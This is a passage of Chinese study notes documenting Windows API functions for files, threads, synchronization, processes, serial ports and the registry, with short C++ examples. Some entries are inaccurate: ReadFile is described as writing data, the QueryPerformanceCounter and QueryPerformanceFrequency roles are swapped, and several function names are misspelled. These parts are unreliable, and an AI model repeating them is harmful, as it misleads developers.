返回值: 0翻译不成功。

#### 加载位图

1. HBITMAP LoadBitmap(HINSTANCE, const char\*);

参数一:实例

参数二: MAKEINTRESOURCE(资源ID)

返回值:位图句柄。

#### 获取当前模块(exe或dll)的实例句柄

1. HINSTANCE AfxGetInstanceHandle()

HINSTANCE与HMOUDLE是相同的东西

1. HMOUDLE GetModuleHandle(const char\*)

获取某个模块的实例句柄。

参数一:模块的名称

#### 获取代码运行时间

1. DWORD GetTickCount()

返回值:毫秒数

DWORD dw1 = GetTickCount();

for()….. //代码

DWORD dw2 = GetTickCount();

DWORD dwTimes = dw2 - dw1;

1. QueryPerformanceCounter、QueryPerformanceFrequency搭配获取微秒级间隔

QueryPerformanceCounter获取当前系统cpu每微妙的滴答数,从而计算每滴答需要多少微妙。

QueryPerformanceFrequency获取系统运行到当前时间时用所用多少滴答数，从而根据QueryPerformanceCounter获取到当前用了多少时间。

#### 缓慢显示或隐藏窗口

1. BOOL AnimateWindow(HWND, DWORD, DWORD)

参数一: 窗口句柄

参数二: 动画持续时间(单位:毫秒)

参数三: AW\_HIDE: 隐藏(不是退出), AW\_CENTER:扩张, AW\_BLEND:淡出

#### 获取屏幕和工作区大小

1. SystemParametersInfo(SPI\_GETWORKAREA,0,&rect,0)

SPI\_GETWORKAREA:获取工作区大小的标志。非任务栏。

1. int GetSystemMetrics(int);

参数: SM\_CYSCREEN屏幕Y长:包括任务栏, SM\_CXSCREEN屏幕X。

返回值:X或Y大小。

# Windows API编程/函数

## Windows消息机制

输入设备的驱动程序会把用户的操作转换为消息放入，系统唯一的系统队列中，然后系统队列会将消息转送到目标对应的线程消息队列中,在通过消息循环分派消息到消息处理过程中。

## 内存的分配与释放及资源的管理

### GlobalAlloc与GlobalFree

(in)参数(UINT)一:标识。GPTR:为GMEM\_FIXED和GMEM\_ZEROINIT的组合，即分配一个固定且初始化为0的空间。

(in)参数(DWORD)二:分配字节数。

返回值(HGLOBAL):申请空间的指针(类型需要强转), 内存不足申请失败返回NULL。

GlobalFree:

(in)参数(HGLOBAL)一:释放的句柄

返回值(HGLOBAL): 返回NULL表示释放成功。

### LocalAlloc与LocalFree

### HeapAlloc与HeapFree

### VirtualAlloc与VirtualFree

### CloseHandle

功能:释放内核对象, 包括文件、文件映射、进程、线程、安全和同步对象等。

(in)参数(HANDLE)一:HANDLE不等于INVALID\_HANDLE\_VALUE

返回值(BOOL):非0成功。

### DesteoyAcceleratorTable

功能:释放加速器表

### DeleteObject

功能:释放位图

### DestroyCursor

功能:释放光标

### Destroylcon

功能:释放图标

### DestroyMenu

功能:释放菜单

## 文件和目录

### PathCanonicalize

函数功能: 打开文件的路径要标准化处理。也就是将..或.等相对路径转换绝对路径。

(out)参数(char\*)一:标准化后的路径。

(in)参数(const char\*)二:需要标准化的路径。

### PathFileExists

功能：用于判断文件路径是否有效

(in)参数一(LPCTSTR)：文件路径

返回值(BOOL)：文件存在返回TRUE,否则FALSE。

### CreateFile

函数功能: 创建File这个内核对象，而不是创建物理磁盘上的“文件”。文件的创建(文件,串口文件,管道，油槽，通信自由，磁盘设备(WindowsNT),控制台,目录(仅打开))。使用CloseHandle关闭。

(in)参数(const char\*)一: 要打开或创建的文件名称, 比如打开串口,文件名称”COM1”

(in)参数(DWORD)二: 读写方式(0(查询),GENERIC\_READ, GENERIC\_WRITE),能使用"|"。

(in)参数(DWORD)三: 0:表示不能共享，后续该对象进行打开操作将失败，直到关闭句柄为止。

FILE\_SHARE\_DELETE:若删除访问，则能进行打开操作，FILE\_SHARE\_READ:若继续以读打开则成功。

(in)参数(LPSUCURITY\_ATTRIBUTES)四: 客户端程序一般给NULL(默认属性),服务端才用这个参数。

(in)参数(DWORD)五: (CREATE\_NEW(若文件存在则失败), CREATE\_ALWAYS(若文件存在则覆盖),

OPEN\_EXISTING(打开文件,若不存在则失败), OPEN\_ALWAYS(若不存在则创建), TRUNCATE\_EXISTING(打开文件若不存在则失败))。

(in)参数(DWORD)六: FILE\_FLAG\_OVERLAPPED, //重叠方式,异步，非阻塞,同时读和写。

(in)参数(HANDLE)七: 一般给NULL,获取一个文件的属性标志。

返回值(HANDLE): 成功返回文件句柄，INVALID\_HANDLE\_VALUE失败并设置GetLastError。

### WriteFile

函数功能:向指定文件或其他内核对象(管道，套接字，油槽)写入数据。

(in)参数(HANDLE)一: 句柄。

(in)参数(LPCVOID)二: 数据缓冲区。

(in)参数(DWORD)三: 要写入的字节数。

(out)参数(LPDWORD)四: 实际写入的字节数。

(in)参数(LPOVERLAPPED)五: 需在CreateFile添加FILE\_FLAG\_OVERLAPPED标记,定义变量(static OVERLAPPED传入地址进去)表示写函数不阻塞

返回值(BOOL):0失败。

### ReadFile

函数功能:向指定文件或其他内核对象(管道，套接字，油槽)写入数据。

(in)参数一:句柄。

(out)参数二:读取的数据缓冲区。

(in)参数三: 读取的数据缓冲区的大小。

(out)参数四:实际读取的字节数。

(in)参数五:同上

返回值(BOOL):0失败

### GetFileSize

函数功能:获取指定文件的大小。

(in)参数(HANDLE)一:句柄。

(out)参数(LPVOID)二:文件大小的高32位， 若文件大小不会超过32位则赋值NULL

返回值(DWORD):文件大小的低32位。失败返回INVALID\_FILE\_SIZE。

### CreateDirectory

函数功能:创建目录,只能一级一级创建目录。

参数(const char\*)一:文件夹全路径名称。

参数(LPSECURITY\_ATTRIBUTES)二:安全属性，一般NULL。

返回值(BOOL):0失败。

### RemoveDirectory

函数功能:删除空目录

(in)参数(const char\*)一:文件夹全路径名称。

返回值(BOOL):0失败。

### SHFileOperation

函数功能:删除非空目录。

(in)参数(SHFILEOPSTRUCT)一: SHFILEOPSTRUCT lpFile;

lpFile.hwnd= NULL;

lpFile.wFunc=FO\_DELETE;

lpFile.pFrom=strFolderPath.c\_str(); //文件夹名称

lpFile.pTo=NULL;

lpFile.fFlags=FOF\_NOCONFIRMATION; //直接确认删除

lpFile.fAnyOperationsAborted=TRUE;

lpFile.hNameMappings=NULL;

lpFile.lpszProgressTitle=NULL;

返回值(BOOL):0成功。

### MoveFile

函数功能:移动(剪切)文件或目录包括子目录。

(in)参数(const char\*)一: 一个存在的文件或者文件夹字符串指针。

(in)参数(const char\*)二: 一个不存在的文件或者文件夹字符串指针。

返回值(BOOL):非0成功。

### CopyFile

函数功能:复制文件。

(in)参数(const char\*)一:源文件名称

(in)参数(const char\*)二:目的文件名称。

(in)参数(BOOL)三: 目的文件存在。若TURE则函数调用失败， 若FALSE则覆盖目的文件。

返回值(BOOL):非0成功

### DeleteFile

函数功能:删除一个存在的文件。

(in)参数一:文件全路径名称。

返回值(BOOL):非0成功

### FindFirstFile

函数功能: 搜索一个目录的文件或目录信息放入一个容器中。使用FindClose（HANDLE）关闭。

(in)参数(const char\*)一: 一般用\*.\* 比如C:\\\*.\*,筛选文件或目录放入容器。

(out)参数(LPWIN32\_FIND\_DATA)二:存放容器中的第一个目录或文件的结构，WIN32\_FIND\_DATA wfd = { 0 };结构指针。FILE\_ATTRIBUTE\_DIRECTORY表示目录属性。

返回值(HANDLE):失败返回NULL。存放容器下所有文件或目录的句柄。

### FindNextFile

函数功能: 从容器中遍历各个文件或目录。

(in)参数(HANDLE)一: 容器的句柄。FindFirstFile的返回值。

(out)参数(LPWIN32\_FIND\_DATA)二: 容器中的某个文件或目录的结构,容器第一个文件信息不能遍历到,因为FindFirstFile中有获取。

返回值(HANDLE):失败返回NULL。容器中所有文件是否遍历完。 TRUE还没有遍历完。

### GetCurrentDirectory

功能: 获取工程目录(.vcxproj文件所在目录)。

在程序中使用"123.txt"这样的文件名，希望将它存储在exe文件所在目录中，但是当用户用文件对话框打开一个文件"F:\456.txt"后，这个123.txt会被存储到F盘下。(VC2005下的情况，其他VC版本待验证)

该函数会受SetCurrentDirectory( "c:/" );影响。

(in)参数(DWORD)一: 缓冲区大小

(out)参数(char\*)二: 存放当前目录。

返回值(DWORD):0失败，  否则为参数二的长度

### GetSystemDirectory

功能: 获取系统目录

(out)参数(char\*)一:存放系统目录。

(in)参数(UINT)二: 缓冲区大小。

返回值(UINT): 0失败，  否则为参数一的长度。

### GetWindowsDirectory

功能: 获取Windows目录

(out)参数(char\*)一:存放Windows目录。

(in)参数(UINT)二: 缓冲区大小。

返回值(UINT): 0失败，  否则为参数一的长度。

## 线程

不同线程创建的窗口，在任务栏会出现多个图标。

### CreateThread

功能: 该函数创建的线程中不要使用C库函数(很多全局变量)，可能造成内存泄露， 若使用C库函数则\_beginThread和\_endThread完成。窗口和挂钩(HOOK)是属于线程的，线程结束则窗口或挂钩则被删除或卸载。

(in)参数(LPSECURITY\_ATTRIBUTES)一: 安全属性， 默认NULL, SECURITY\_ATTRIBUTES结构

(in)参数(SIZE\_T)二: 初始栈大小，单位字节， 若0，则使用调用函数的线程一样的栈大小。

(in)参数(LPTHREAD\_START\_ROUTINE)三: 线程函数指针, 若使用(LPTHREAD\_START\_ROUTINE)的转换,则可以使用：void 函数名(void)形式。

否则只能使用该形式的函数:DWORD WINAPI 函数名 (LPVOID)

(in)参数(LPVOID)四: 函数参数指针，可以是结构指针

(in)参数(DWORD)五: 线程标识, 创建挂起线程:CREATE\_SUSPENDED, 创建立即激活:0,

(out)参数(LPWORD)六: 新线程的ID, 若NULL则不获取新线程ID

返回值(HANDLE): 成功返回新线程句柄，否则NULL。创建线程成功后，若不使用句柄则在该函数后面直接CloseHandle。

注意:创建新的线程中不能创建界面控件， 因为创建的控件的消息循环属于创建控件的那个线程，所以当线程结束后消息队列也没有了，更不会收到WM\_DESTROY或WM\_NCDESTROY消息。即要在同一个线程中完成界面控件的创建与销毁。或者在其他线程中，向指定的窗口发送消息, 而不是调用其函数。

### TerminateThread

功能: 尝试结束线程，非阻塞， 建议配合使用WaitForSingleObject等待线程结束。

(in)参数(HANDLE)一: 线程句柄s

(out)参数(LPDWORD)二: 线程退出码

返回值(BOOL): 成功非NULL

### GetExitCodeThread

功能:获取线程退出代码。

(in)参数(HANDLE)一:要退出的线程

(out)参数(LPDWROD)二: 退出码。若是STILL\_ACTIVE则线程未结束。

返回值(BOOL): 成功非NULL。

### GetCurrentThread

功能:获取当前线程句柄， 该句柄可以复制。不必使用CloseHandle关闭该句柄。

无参数:

返回值(HANDLE):该线程的句柄。

### CreateRemoteThread

功能:在其它进程地址空间中创建线程

(in)参数一(HANDLE)： 要打开进程的句柄(OPenProcess)

(in)参数二(LPSECURITY\_ATTRIBUTES)： 安全属性，默认NULL

(in)参数三(DWORD): 栈大小,若为0，系统默认分配大小。

(in)参数四(LPTHREAD\_START\_ROUTIME): 线程函数

(in)参数五(LPVOID): 线程参数

(in)参数六(DWORD): 创建标志， CREATE\_SUSPENDED(创建后线程挂起), 0(创建后立即运行)

(out)参数七(LPDWORD): 线程ID标志

返回值(HANDLE):

### GetWindowThreadProcessId

功能:找出创建某个窗口的线程号以及所有进程号

(in)参数一(HWND):窗口句柄

(out)参数二(LPDWORD): 存放进程号（若进程中只有一个线程，则线程号与进程号相同）

返回值(DWORD):创建该窗口的线程号

## 数据同步

1、临界区:通过对多线程的串行化来访问公共资源或一段代码，速度快，适合控制数据访问。

2、互斥量:为协调共同对一个共享资源的单独访问而设计的。

3、信号量:为控制一个具有有限数量用户资源而设计。

4、事 件:用来通知线程有一些事件已发生，从而启动后继任务的开始。

临界区只能Windows下的同一进程中使用，非内核对象，速度快, 同进程不同线程通过EnterCriticalSection阻塞其他线程中的EnterCriticalSection， 同线程可多次进入EnterCriticalSection不会被阻塞。

互斥量、信号量、事件可在不同进程(保证程序唯一性)、不同线程中使用，是内核对象，速度慢。

### InitializeCriticalSection与DeleteCriticalSection

功能:初始化临界区对象; 相同临界区变量在不同线程中只能进入一次， 直到出该临界区变量时其他线程才能进入该临界区变量。无需配合使用等待函数,也因此会进入死锁状态，因为无法设置超时时间,但同步速度比其他要快。内存过低可能会出现异常。

(out)参数(LPCRITICAL\_SECTION)一:临界区资源对象。

无返回值。

功能: 删除临界区

(out/in)参数(LPCRITICAL\_SECTION)一:临界区资源对象。

无返回值。

### InitializeCriticalSectionAndSpinCount

功能: 初始化临界区，内存过低也不会出现异常。

(out/in)参数(LPCRITICAL\_SECTION)一:临界区资源对象。

(in)参数(DOWRD)一: 0x80000400。

无返回值。

### EnterCriticalSection与LeaveCriticalSection

功能: 进入临界区

(out/in)参数(LPCRITICAL\_SECTION)一:临界区资源对象。

无返回值。

功能: 离开临界区

(out/in)参数(LPCRITICAL\_SECTION)一:临界区资源对象。

无返回值。

### TryEnterCriticalSectio

功能: 尝试进入临界区,非阻塞。

(out/in)参数(LPCRITICAL\_SECTION)一:临界区资源对象。

返回值:非0成功。

### CreateMutex

功能:创建互斥量；

(in)参数(PSECURITY\_ATTRIBUTES)一: 安全属性，一般给NULL默认。

(in)参数(BOOL)二: FLASE表示初始为无信号状态

(in)参数(const char\*)三:互斥对象名称， NULL表示无名称。在内存中该名称保持唯一，这可以用来保证同一软件只有一个进程在运行(AfxGetAppName())， 利用GetLaseError=ERROR\_ALREADY\_EXISTS。

返回值(HANDLE): 互斥句柄， 不用使用CloseHandle

### ReleaseMutex

功能:释放互斥量，使等待函数可以进去。

(in)参数(HANDLE)一: 事件句柄。

返回值(BOOL):非0成功

### CreateEvent

功能: 创建事件，需要配合等待函数来保持同步。无信号时遇见等待函数则阻塞。

(in)参数(PSECURITY\_ATTRIBUTES)一: 安全属性，一般给NULL默认。

(in)参数(BOOL)二: FALSE为自动重置信号,就是等待函数后，会变为无信号状态，省去了加ResetEvent函数步骤。

(in)参数(BOOL)三: FLASE表示初始为无信号状态

(in)参数(const char\*)四:事件对象名称，NULL表示无名称。在内存中该名称保持唯一，这可以用来保证同一软件只有一个进程在运行(AfxGetAppName())， 利用GetLaseError=ERROR\_ALREADY\_EXISTS。

返回值(HANDLE): 事件句柄， 不用使用CloseHandle

### SetEvent与ResetEvent

功能:设置某事件有信号。

(in)参数(HANDLE)一: 事件句柄。

返回值(BOOL):非0成功

功能:设置某事件无信号。

(in)参数(HANDLE)一: 事件句柄。

返回值(BOOL):非0成功

### CreateSemaphore

功能:创建信号量

(in)参数(PSECURITY\_ATTRIBUTE)一: 安全属性可NULL。

(in)参数(LONG)二: 初始有信号量个数, 即初始有多少个信号能通过等待函数。通过一次等待函数则信号量个数减一。

(in)参数(LONG)三: 最大信号个数。一般大于等于第二个参数。

(in)参数(const char\* )四: 信号量名称, NULL无名称。

返回值(HANDLE): 创建的信号量句柄，0则表示失败，若GetLaseError =ERROR\_ALREADY\_EXISTS存在同名信号量

### ReleaseSemaphore

功能:释放信号量

(in)参数(HANDLE)一: 信号量句柄。

(in)参数(LONG)二: 使多少个信号量具有信号，即再使多少个信号量可通过等待函数。

(out)参数(LP LONG)三: NULL, 计算之前的信号量个数。

返回值(BOOL):非0成功。

### WaitForSingleObject

功能:等待某个句柄是否有信号， 有信号则通过本函数。或超时也通过本函数。

(in)参数(HANDLE)一: 等待的句柄

(in)参数(DWORD)二: 等待的时间(毫秒), INFINITE(-1) 无限等待不会浪费CPU时间,直到句柄有信号才返回。

返回值(DWORD): :WAIT\_OBJECT\_0: //在指定第二参数数值内，获得信号

WAIT\_TIMEOUT: //第二个参数有效时间内，若无信号即超时,超时不改变信号状态

WAIT\_FAILED: //第一个参数为无效句柄时(无效内核对象)

### WaitForMultipleObjects

功能:等待多个句柄是否有信号，超时也通过本函数。

(in)参数(DWORD)一: 等待内核对象的个数。

(in)参数(const HANDLE\*)二: 等待内核对象存放的数组。

(in)参数(BOOL)三: 若TRUE,数组内所有内核对象都要有信号,若FALSE,只要1个有信号就不阻塞(返回)

(in)参数四(DWORD): 等待的时间(毫秒),

返回值(DWORD): WAIT\_OBJECT\_0+0(内核对象数组[0]元素)

### MsgWaitForMultipleObjects

功能：等待消息和内核对象。

(in)参数(DWORD)一：要等待的内核对象个数

(in)参数(LPHAND)二：等待内核对象存放的数组。

(in)参数(BOOL)三：若TRUE,不管有没有消息过来都不返回,除非数组内所有内核对象都有信号；若FALSE,只要1个有信号，或有消息就不阻塞(返回)

(in)参数(DWORD)四：等待的时间(毫秒),

(in)参数(DWORD)五：等待的消息类型,一般为QS\_ALLINPUT;(QS\_INPUT| QS\_POSTMESSAGE| QS\_TIMER| QS\_PAINT | QS\_HOTKEY |QS\_SENDMESSAGE)

返回值(DWORD)：若第三个参数为FALSE,则

返回值等于：WAIT\_OBJECT\_0 + 等待个数 //表示有消息到来

返回值等于: WAIT\_OBJECT\_0到WAIT\_OBJECT\_0+等待个数-1之间 //表示数组内该对象有信号。

## 进程

进程:一个正在运行的程序，每个进程中至少有一个线程(主线程)。

它有两部分组成：

1、一个是操作系统用来管理进程的内核对象。内核对象也是系统用来存放关于进程的统计

信息的地方。

2、地址空间

加载到进程地址空间的每一个可执行文件或动态链接库文件的映象都会被分配一个与之相关联的全局唯一的实例句柄（Hinstance）。该实例句柄实际是一个记录有进程加载位置的基本内存地址。进程的实例句柄在程序入口函数WinMain（）中通过第一个参数HINSTANCE hinstExe传递，其实际值即为进程所使用的基本地址空间的地址。对于VC++链接程序所链接产生的程序，其默认的基本地址空间地址为0x00400000，如没有必要一般不要修改该值。在程序中，可以通过GetModuleHandle（）函数得到指定模块所使用的基本地址空间。

进程权限标识: PROCESS\_TERMINATE(终止进程权限)

打开目录进程命令: explorer + 路径

保证应用只有一个进程:

方法一:利用有名互斥内核对象

//只允许运行一个进程,第二个参数FALSE表示初始时只有一个线程有信号(可看做1个钥匙)， 若为TRUE，所有线程都无信号

HANDLE hMutex = CreateMutex(NULL, FALSE, "进程名称"/\*AfxGetAppName()\*/);

if (GetLastError() == ERROR\_ALREADY\_EXISTS)

{

if(hMutex)

{

ReleaseMutex(hMutex);

}

CloseHandle(hMutex);

hMutex = NULL;

exit(0);

}

方法二:利用全局共享变量

#pragma data\_seg("Shared")

int volatile g\_lAppInstance =0; //volatile关键字让变量每次取值从内存中取，而不是从寄存器中取值。

#pragma data\_seg()

#pragma comment(linker,"/section:Shared,RWS")

......

if(++g\_lAppInstance>1)

exit(0);

### CreateProcess

函数功能: 创建一个新进程。

(in)参数(char\*)一: 可执行模块的名称, 若该值为NULL,则第二个参数的最前面一定要是可执行模块名称。

(in\_out)参数(char\*)二: 命令行字符串。命令行中常用的转义符:\\ \\*

(in)参数(LP SECURITY\_ATTRIBUTES)三: SECURITY\_ATTRIBUTES结构体决定是否返回的句柄可以被子进程继承。如果NULL，那么句柄不能被继承。

(in)参数(LPSECURITY\_ATTRIBUTES)四: 同参数三，是否被线程继承， 一般为NULL。

(in)参数(BOOL)五: 参数的值为真，调用进程中的每一个可继承的打开句柄都将被子进程继承。被继承的句柄与原进程拥有完全相同的值和访问权限。

(in)参数(DWORD)六: 进程优先级, 一般默认为NORMAL\_PRIORITY\_CLASS，除非被创建的进程是IDLE\_PRIORITY\_CLASS。在这种情况下子进程的默认优先类是IDLE\_PRIORITY\_CLASS。 优先级: REALTIME\_PRIORITY\_CLASS> HIGH\_PRIORITY\_CLASS>NORMAL\_PRIORITY\_CLASS>IDLE\_PRIORITY\_CLASS。

(in)参数(LPVOID)七: 新进程的环境块,若为NULL,则使用调用进程相同的环境块。

(in)参数(char\*)八: 子进程的工作绝对路径,若为NULL,则与调用进程使用相同的路径。

(in)参数(LPSTARTUPINFO)九: 用于决定新进程的主窗体如何显示的STARTUPINFO结构体

(out)参数(LPPROCESS\_INFORMATION)十: 用来接收新进程的识别信息的PROCESS\_INFORMATION结构体

返回值(BOOL): 成功非0。

使用例子一: 使用CreateProcess代替WinExec解压文件(不安全) 因为WinExec支持命令分隔符（”&&”、”||”、”&”、”;”），用于连续执行多个命令程序。（除非写硬代码）。

CString sCommandLine;

 DWORD dwExitCode;

 PROCESS\_INFORMATION pi;

 STARTUPINFO si = {sizeof(si)};

 sCommandLine = "\"C:\\Program Files\\WinRAR\\WinRAR.exe\"  -ibck x -o+ -y  \"D:\\emap.gz\" \"D:\\";

 BOOL ret = CreateProcess(NULL, sCommandLine.GetBuffer(0), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

 if (ret) {

 CloseHandle(pi.hThread); // 关闭子进程的主线程句柄

 WaitForSingleObject(pi.hProcess, INFINITE); //等待子进程退出

 GetExitCodeProcess(pi.hProcess, &dwExitCode); // 获取子进程的退出码

 CloseHandle(pi.hProcess); // 关闭子进程句柄

 }

### SetPriorityClass

功能:设置进程优先级。

(in)参数(HANDLE)一:进程句柄, pi.hProcess或GetCurrentProcess()获得进程句柄.

(in)参数(DWORD)二:进程优先级。

返回值(BOOL):成功非0。

### ExitProcess

功能:退出本进程。该函数结束进程后不会释放之前new的内存。

(in)参数(UINT):进程退出码。

无返回值。

### TerminateProcess

功能: 尝试结束进程。最好使用等待函数确保结束。一般不删除PID=0进程

(in)参数(HANDLE)一:要退出的进程句柄。

(in)参数(uExitCode)二:退出码

返回值(BOOL):非0成功结束进程。

### OpenProcess

功能: 根据进程PID获取存在的进程句柄。

(in)参数(DWORD)一: 渴望得到的权限。PROCESS\_TERMINATE

(in)参数(BOOL)二: 是否继承句柄，一般false。

(in)参数(DWORD)三: 进程PID号

返回值(HANDLE):得到进程句柄, NULL失败。

### CreateToolhelp32Snapshot

功能:根据进程PID创建该进程的快照

(in)参数(DWORD)一: 标识, TH32CS\_SNAPPROCESS(快照中包含系统所有进程),

TH32CS\_SNAPALL(快照中包含系统所有进程和线程), TH32CS\_SNAPTHREAD((快照中包含系统所有线程)。

(in)参数(DWORD)二: 进程PID, 若0则获取进程列表或当前进程快照。

返回值(HANDLE):成功快照句柄，INVALID\_HANDLE\_VALUE失败。

### Process32First

功能: 获取进程快照中第一个进程的信息

(in)参数(HANDLE)一: 进程的快照句柄

(out/in)参数(LPPROCESSENTRY32)二: 存放快照结果中的第一个进程信息的PROCESSENTRY32结构, 该结构的dwSize = sizeof(pe32)必须初始化。(TlHelp32.h)

返回值: 非0成功。

### Process32Next

功能: 获取进程快照中下一个进程信息

(in)参数(HANDLE)一: 进程的快照句柄

(out/in)参数(LPPROCESSENTRY32)二: 存放快照结果中的第一个进程信息的PROCESSENTRY32结构, 该结构的dwSize = sizeof(pe32)必须初始化。(TlHelp32.h)

返回值: 非0成功。

### GetCurrentProcess

功能:获取当前进程句柄， 该句柄可以复制。不必使用CloseHandle关闭该句柄。

无参数:

返回值(HANDLE):该进程的句柄。

### WriteProcessMemory

功能: 向一个进程的内存地址空间写入数据。

(in)参数(HANDLE)一: 进程的句柄(具有相关权限且存在的进程句柄)。

(in)参数(LPVOID)二:  要写入的地址空间。

(in)参数(LPCVOID)三: 要写入的内容

(in)参数(SIZE\_T)四:   要写入的内容长度。

(out)参数(SIZE\_T\*)五: 实际写入的长度。

返回值(BOOL):非0成功。

### GetModuleFileName

功能:获取本进程的全路径名称。

(in)参数(HMODULE)一: 模块句柄，可以为DLL或应用程序的句柄。若为NULL则返回当前程序(exe)路径。

(out)参数(char\*)二: 当前程序全路径名缓冲区,有拓展名。

(in)参数(DWORD)三: 缓冲区大小

返回值(DWORD):0失败，  否则为参数二的长度。

### ShellExecute

### ReadProcessMemory

功能:读取某个进程内存中的数据

(in)参数一(HANDLE): 要读取的进程句柄

(in)参数二(PVOID): 要读取进程某处的内存地址。

(out)参数三(PVOID): 存放读出数据的缓冲区

(in)参数四(DWORD): 要读取的字节数

(out)参数五(LPDWORD): 实际读取的字节数

返回值: 成功非0。

## 网络

## 串口通信

关闭串口，再打开串口这段时间不能太短，否则会报串口拒绝访问(5错误码)。

-----进行数据传输前的操作-----

1.打开串口

HANDLE hCom = CreateFile("COM1", //文件名

GENERIC\_READ|GENERIC\_WRITE, //读写

0, //独占方式,非共享

NULL, //安全属性

OPEN\_EXISTING, //打开而不是创建,对于串口只能是它

FILE\_FLAG\_OVERLAPPED, //重叠方式,异步，非阻塞

NULL //临时文件句柄

)

if (hCom == INVALID\_HANDLE\_VALUE)

{

wError = GetLastError();

}

2.获取串口设置参数

DCB dcb; //0不允许，1允许

GetCommState(hCom, &dcb);

dcb.BaudRate = 设置波特率 //9600

dcb.ByteSize = 设置数据位

dcb.Parity = 设置校验位 //0~4无校验、奇校验、偶校验、1、0

dcb.StopBits = 设置停止位 //0~2对应 1位、1.5位、2位停止位

dcb.fOutxCtsFlow = 0; //CTS输出控制流

dcb.fOutxDsrFlow = 0; //DSR输出控制流

dcb.fDtrControl = DTR\_CONTROL\_ENABLE; //DTR控制流类型

dcb.fRtsControl = RTS\_CONTROL\_ENABLE; //RTS控制流

dcb.fOutX = 0; //XON/XOFF输出控制流

dcb.fInX = 0; //XON/XOFF输入控制流

dcb.XonChar = 0x11; //发送和接收的XON字符

dcb.XoffChar = 0x13;//发送和接收的XOFF字符

dcb.fBinary = 1 ; //二进制模式，不检测EOF

dcb.fParity = 1 ; //为1的话激活奇偶校验检查

dcb.fErrorChar = 0; //不允许错误替换

dcb.fNull = 0; //不去掉NULL字符

dcb.fAbortOnError = 0; //有错误终止读写

dcb.XonLim = (WORD)(m\_InBufferSize \* 3/4); //XON发送字符之前，缓冲区允许接收的最小字节数

dcb.XoffLim = (WORD)(m\_InBufferSize/2); //XON发送字符之前，缓冲区允许接收的最小可用字节数

dcb.EofChar =0; //输入数据结束字符

dcb.EvtChar =0x13; //接收到的事件字符

dcb.fTXContinueOnXoff = FALSE;

3.设置串口参数

SetCommState(hCom, &dcb);

ClearCommBreak(hCom)//通信设备被SetCommBreak之类的函数设置中断后，用它来恢复

4.设置串口缓冲区大小

SetupComm(hCom, 1024,1024)//输入、输出缓冲区大小

5.设置超时

//间隔超时是指在接收时两个字符之间的最大时延，总超时是指读写操作总共花费的最大时间。

//总超时=时间系数×要求读/写的字符数 + 时间常量

COMMTIMEOUTS CommTimeouts;

CommTimeouts.ReadIntervalTimeout = MAXDWORD;//读间隔超时设置为最大

CommTimeouts.ReadTotalTimeoutMultiplier = 100;//读时间系数

CommTimeouts.ReadTotalTimeoutConstant = 500;//读时间常量

CommTimeouts.WriteTotalTimeoutMultiplier = 100;//写时间系数

CommTimeouts.WriteTotalTimeoutConstant = 500;//写时间常量

bFlag = SetCommTimeouts(hCom,&CommTimeouts);

6.终止正在进行的读写,此函数还会清除输入或输出缓冲区

PurgeComm(hCom, PURGE\_RXCLEAR | PURGE\_RXABORT); //终止、清空接收

PurgeComm(hCom, PURGE\_TXCLEAR | PURGE\_TXABORT); //终止、清空发送

-----进行数据传输------

COMSTAT ComStat;

传输之前先ClearCommError(hCom,&dwErrorMask,&ComStat)//清除错误标识

1.进行写串口文件

static OVERLAPPED m\_osWrite;

m\_osWrite....的赋值

WriteFile(hCom,szBuf,nLen,&dwActualByte,&m\_osWrite)//发送缓冲区，需要向发送的字节数,实际发送的字节数

2.进行读串口文件

static OVERLAPPED m\_osRead;

m\_osRead....的赋值

ReadFile(hCom,szBuf,dwSize,&iRecvlen,&m\_osRead)//接收缓冲区，需要向接收的字节数,实际接收的字节数

GetOverlappedResult(hCom,&m\_osRead,&iRecvlen,FALSE)//最后一个参数，若为TRUE则等待异步IO操作完成后才返回，若FALSE,同时操作处于挂起状态，返回FALSE。

## 注册表及ini文件

ini文件:

[china]是段名，ADMIN(键名) = 1(键值)。

注册表:

注册表存储在二进制文件中。

CPU信息路径:HKEY\_LOCAL\_MACHINE\HARDWARE\DESCRIPTION\System

\CentralProcessor\0 。

"Identifier"指定CPU架构信息，"ProcessorNameString"指定CPU类型

### RegCreateKey

功能:创建或打开表项

(in)参数(HKEY)一: 表项句柄(HKEY\_CLASSES\_ROOT ,HKEY\_CURRENT\_USER,HKEY\_LOCAL\_MACHINE)等，

若表项存在则打开表项。否则创建表项。

(in)参数(constchar\*)二: 表项的子项名称，，打开或创建。  可用\\创建多个目录。

KEY\_QUERY\_VALUE：表示可以查询， 否则不能查询。

KEY\_WRITE:表示可以写入或删除。

(out)参数(PHKEY)三: 子项的句柄, 当不需要可RegCloseKey关闭这个句柄

返回值(LONG):成功返回0。

### RegOpenKey

功能:打开表项， 不能创建。

(in)参数(HKEY)一: 表项句柄(HKEY\_CLASSES\_ROOT ,HKEY\_CURRENT\_USER,HKEY\_LOCAL\_MACHINE)等，

若表项存在则打开表项

(in)参数(constchar\*)二: 表项的子项名称。

 (out)参数(PHKEY)三: 子项的句柄, 当不需要可RegCloseKey关闭这个句柄

返回值(LONG):成功返回0。

### RegSetValue

(in)参数(HKEY)一: 已打开的句柄

(in)参数(const char\*)二: 第一个参数子项的名称,没有指NULL。

(in)参数(DWORD)三: 必须是REG\_SZ类型（字符串）

(in)参数(const char\*)四: 值

(in)参数(DWORD)五: 值的长度。

返回值(LONG):成功0。

### RegSetValueEx

(in)参数(HKEY)一: 已打开的句柄

(in)参数(const char\*)二: 可设置值名称

(in)参数(DWORD)三: 保留0

(in)参数(DWORD)四: 可设置值类型(REG\_BINARY, REG\_DWORD等)

(in)参数(const char\*)五: 值

(in)参数(DWORD)六: 值长度。

返回值(LONG): 成功0。

### RegQueryValue

(in)参数(HKEY)一: 已打开的句柄

(in)参数(const char\*)二: 查询值名称。

(out)参数(char\*)三: 存放值的缓冲区, 若为NULL, 则值的真实长度放入第四个参数，  然后可确定缓冲区大小。再次调用该函数获取值。

(out)参数(PLONG)四: 值的长度

返回值(LONG): 成功0

### RegQueryValueEx

功能: 获取键值

(in)参数(HKEY)一: 已打开的句柄

(in)参数(char\*)二: 要查询的名称(键值名称),  若为0，则查询的名称为 “默认”

(in)参数(LPDWORD)三: 必须0

(out)参数(LPDWORD)四: 用于装载取回数据类型的一个变量, 没有就给NULL

(out)参数(LPBYTE)五: 存放键值的缓冲区

(out)参数(LPDWORD)六: 存放键值的缓冲区大小

返回值(LONG): 成功0。

### WriteProfileString

功能:向ini文件中写入数据

(in)参数(LPCTSTR)一：段名,若不存在该段名则创建。

